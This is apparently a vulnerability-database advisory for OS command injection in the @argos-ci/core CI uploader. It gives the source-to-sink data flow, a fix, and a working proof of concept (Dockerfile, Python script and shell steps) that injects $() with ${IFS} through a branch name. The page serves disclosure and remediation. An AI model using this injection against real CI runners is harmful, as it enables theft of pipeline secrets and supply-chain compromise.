Vulnerability Database

383,304

Total vulnerabilities in the database

CVE-2026-59960 — @argos-ci / core

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CI Branch Name OS Command Injection in @argos-ci/core

Summary

@argos-ci/[email protected] passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).

Details

The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:

function gitFetch(input: { ref: string; depth: number; target: string }) { execSync( `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`, ); }

execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.

A secondary sink exists at packages/core/src/ci-environment/git.ts:67:

execSync(`git merge-base ${input.head} ${input.base}`)

Complete data flow (source → sink):

  1. packages/core/src/ci-environment/services/github-actions.ts:104 — reads env.GITHUB_HEAD_REF without validation (source).
  2. packages/core/src/ci-environment/services/github-actions.ts:165 — returns the branch from the CI context.
  3. packages/core/src/ci-environment/services/github-actions.ts:330 — stores the value as branch.
  4. packages/core/src/config.ts:119-123 — loads ciEnv?.branch into config.branch; only format: String is applied, no sanitization.
  5. packages/core/src/upload.ts:285 — calls getMergeBaseCommitSha({ base, head: config.branch }) when the API returns hasRemoteContentAccess: false.
  6. packages/core/src/ci-environment/git.ts:123 — passes attacker-controlled value as ref to gitFetch().
  7. packages/core/src/ci-environment/git.ts:89 — sink: execSync( git fetch ... origin ${input.ref}:${input.target} ).

There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.

Recommended remediation — replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:

-import { execSync } from "node:child_process"; +import { execFileSync, execSync } from "node:child_process"; function gitFetch(input: { ref: string; depth: number; target: string }) { - execSync( - `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`, - ); + execFileSync("git", [ + "fetch", "--force", "--update-head-ok", + "--depth", String(input.depth), + "origin", `${input.ref}:${input.target}`, + ]); } function gitMergeBase(input: { base: string; head: string }) { - return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim(); + return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim(); }

PoC

Prerequisites:

  • Docker installed on the test machine.
  • Internet access to pull node:22 and install @argos-ci/[email protected] from npm.

Step 1 — Build the Docker image:

docker build -t argos-vuln-001 \ -f /path/to/vuln-001/Dockerfile \ /path/to/reports/npmAI_634_argos-ci__argos-javascript/

The Dockerfile:

  • Uses node:22 as the base.
  • Creates a local bare git repository at /remote.git and a working repository at /git-workspace with that bare repo as origin, so git fetch has a reachable remote.
  • Installs @argos-ci/[email protected] (which depends on @argos-ci/[email protected]) globally from the public npm registry.
  • Copies poc.py as the container entrypoint.

Step 2 — Run the container:

docker run --rm argos-vuln-001

What the PoC (poc.py) does:

  1. Starts a local HTTP mock server on 127.0.0.1:7777 that returns {"hasRemoteContentAccess": false} for GET /v2/project, activating the getMergeBaseCommitSha() code path.
  2. Sets ARGOS_BRANCH to main$(touch${IFS}/tmp/argos-ci-cve-poc).
    • $(...) is shell command substitution.
    • ${IFS} expands to a space character, bypassing naive space-based filters, making the injected command touch /tmp/argos-ci-cve-poc.
  3. Runs argos upload <empty-dir> --files '*.png' with the malicious environment.
  4. Checks for the marker file /tmp/argos-ci-cve-poc.

Expected output:

============================================================ [PASS] VULNERABILITY CONFIRMED [PASS] Marker file exists: /tmp/argos-ci-cve-poc [PASS] The shell command injected via ARGOS_BRANCH was executed [PASS] by execSync() inside gitFetch() (git.ts:88-90). ============================================================

The marker file is created before git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.

Manual reproduction (without Docker):

mkdir -p /tmp/argos-poc && cd /tmp/argos-poc git init && git remote add origin https://github.com/argos-ci/argos-javascript.git # Start a minimal mock API server (background) node -e " const http = require('http'); http.createServer((req, res) => { if (req.url === '/v2/project') { res.writeHead(200, {'content-type':'application/json'}); res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false})); return; } res.writeHead(200, {'content-type':'application/json'}); res.end('{}'); }).listen(7777); " & mkdir empty rm -f /tmp/argos-ci-cve-poc ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \ ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \ ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \ ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \ npx -y @argos-ci/[email protected] upload empty --files '*.png' || true test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED"

Impact

This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the GITHUB_HEAD_REF / ARGOS_BRANCH environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.

Who is impacted:

  • Any organization using @argos-ci/core (or the CLI @argos-ci/cli) in a CI pipeline where the project's Argos configuration has hasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users.
  • The risk is highest in pull_request_target or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks.
  • Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.

Reproduction artifacts

Dockerfile

FROM node:22 # Install git and Python 3 RUN apt-get update && \ apt-get install -y --no-install-recommends git python3 && \ rm -rf /var/lib/apt/lists/* # Configure git identity for commits inside the container RUN git config --global user.email "[email protected]" && \ git config --global user.name "PoC Test" && \ git config --global init.defaultBranch main # Create a local bare repository that acts as the "origin" remote. # This lets git fetch succeed (reaching a real remote is not required for the # injection -- the shell expands $() before git connects -- but a working # remote means getMergeBaseCommitSha() returns a real SHA and the full # upload code-path is exercised without extra noise from git errors.) RUN git init --bare /remote.git # Create the working repository with the bare repo as origin RUN git init /git-workspace && \ cd /git-workspace && \ git remote add origin /remote.git && \ echo "initial" > README.md && \ git add README.md && \ git commit -m "Initial commit" && \ git branch -M main && \ git push -u origin main # Copy the cloned repository source for reference / source evidence. # The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90. COPY repo /argos-repo # Install the vulnerable @argos-ci/[email protected] (depends on @argos-ci/[email protected]) # from the public npm registry -- same version as the cloned repository. RUN npm install -g @argos-ci/[email protected] --loglevel=warn # Copy the Python PoC script COPY vuln-001/poc.py /poc.py # Run from inside the git workspace so that git commands find the correct repo WORKDIR /git-workspace ENTRYPOINT ["python3", "/poc.py"]

poc.py

#!/usr/bin/env python3 """ PoC for VULN-001 -- OS Command Injection in @argos-ci/[email protected] Vulnerability: CWE-78 (OS Command Injection) Affected file: packages/core/src/ci-environment/git.ts:87-90 The gitFetch() function passes user-controlled ref strings directly into an execSync() template literal. Node.js execSync() invokes /bin/sh -c "...", so shell metacharacters in the string -- including $() command substitution -- are evaluated before git runs. Attack chain (source -> sink): env.GITHUB_HEAD_REF / ARGOS_BRANCH -> config.ts:119-122 (String cast, no sanitisation) -> upload.ts:285 getMergeBaseCommitSha({ head: config.branch }) -> git.ts:123 gitFetch({ ref: input.head, ... }) -> git.ts:89 execSync(`git fetch ... origin ${input.ref}:${input.target}`) ^^^^^^^^ shell injection sink This script: 1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false for GET /v2/project, triggering the getMergeBaseCommitSha() code-path. 2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value containing a $() command substitution. 3. Checks for a filesystem artefact that proves execution. """ import json import os import subprocess import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer # File created by the injected command -- its existence proves execution. MARKER_FILE = "/tmp/argos-ci-cve-poc" # Port for the mock Argos API server. MOCK_PORT = 7777 class MockArgosAPI(BaseHTTPRequestHandler): """Minimal mock of the Argos REST API. Only two responses matter: - GET /v2/project -- must return hasRemoteContentAccess=false to trigger the git-based merge-base discovery code-path. - POST /v2/builds -- needs to return a recognisable structure so the SDK does not abort before we can observe the side-effect. """ def log_message(self, fmt, *args): # Suppress per-request log noise; PoC progress messages are enough. pass def _send_json(self, status: int, body: dict) -> None: raw = json.dumps(body).encode() self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(raw))) self.end_headers() self.wfile.write(raw) def do_GET(self): if self.path.rstrip("/") == "/v2/project": # hasRemoteContentAccess=false is the precondition that makes the # SDK call getMergeBaseCommitSha() instead of fetching from the # Git provider API. This is the key to reaching the sink. self._send_json(200, { "id": "proj-1", "defaultBaseBranch": "main", "hasRemoteContentAccess": False, }) else: self._send_json(200, {}) def do_POST(self): # Drain request body to keep the connection clean. length = int(self.headers.get("Content-Length", 0)) self.rfile.read(length) if "/builds" in self.path: # Return the minimal structure the SDK dereferences after POST /builds. self._send_json(201, { "id": "build-1", "url": "http://localhost/build/1", "screenshots": [], "pwTraces": [], }) else: self._send_json(200, {}) def do_PUT(self): length = int(self.headers.get("Content-Length", 0)) self.rfile.read(length) self._send_json(200, {}) def start_mock_server() -> HTTPServer: server = HTTPServer(("127.0.0.1", MOCK_PORT), MockArgosAPI) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def main(): print("[*] VULN-001 PoC -- @argos-ci/[email protected] OS Command Injection") print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90") print() # Remove any stale marker from a previous run. if os.path.exists(MARKER_FILE): os.remove(MARKER_FILE) # Start the mock Argos API. server = start_mock_server() print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}") # Build the malicious branch name. # Breakdown: # main -- valid branch prefix so git ref looks plausible # $(...) -- shell command substitution, evaluated by /bin/sh # touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space # filters and forming "touch <path>" malicious_branch = f"main$(touch${{IFS}}{MARKER_FILE})" print(f"[*] Malicious ARGOS_BRANCH value: {malicious_branch}") print(f"[*] Expected shell expansion: touch {MARKER_FILE}") print() # Empty upload directory -- no real screenshots needed. The injection # occurs during merge-base discovery before any upload loop runs. upload_dir = "/tmp/argos-empty-upload" os.makedirs(upload_dir, exist_ok=True) env = dict(os.environ) env.update({ "ARGOS_API_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/v2/", "ARGOS_TOKEN": "a" * 40, "ARGOS_COMMIT": "0" * 40, "ARGOS_BRANCH": malicious_branch, # Disable update-notifier noise inside the CLI. "NO_UPDATE_NOTIFIER": "1", }) print("[*] Running: argos upload <empty-dir> --files '*.png'") result = subprocess.run( ["argos", "upload", upload_dir, "--files", "*.png"], env=env, capture_output=True, text=True, # CWD must be a git repository with an 'origin' remote so that # git fetch has a valid context. /git-workspace is prepared in the # Dockerfile for this purpose. cwd="/git-workspace", ) print(f"[*] CLI exit code : {result.returncode}") if result.stdout.strip(): print(f"[*] CLI stdout : {result.stdout.strip()[:600]}") if result.stderr.strip(): print(f"[*] CLI stderr : {result.stderr.strip()[:600]}") server.shutdown() print() # --- Verdict --- if os.path.exists(MARKER_FILE): print("=" * 60) print("[PASS] VULNERABILITY CONFIRMED") print(f"[PASS] Marker file exists: {MARKER_FILE}") print("[PASS] The shell command injected via ARGOS_BRANCH was executed") print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).") print("=" * 60) sys.exit(0) else: print("=" * 60) print("[FAIL] Marker file not found -- injection did not trigger.") print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.") print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.") print("=" * 60) sys.exit(1) if __name__ == "__main__": main()

CVSS v3:

  • Severity: High
  • Score: 7.5
  • AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWEs:

OWASP TOP 10:

Software Affected versions
Node.js icon @argos-ci / core < 6.2.1

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.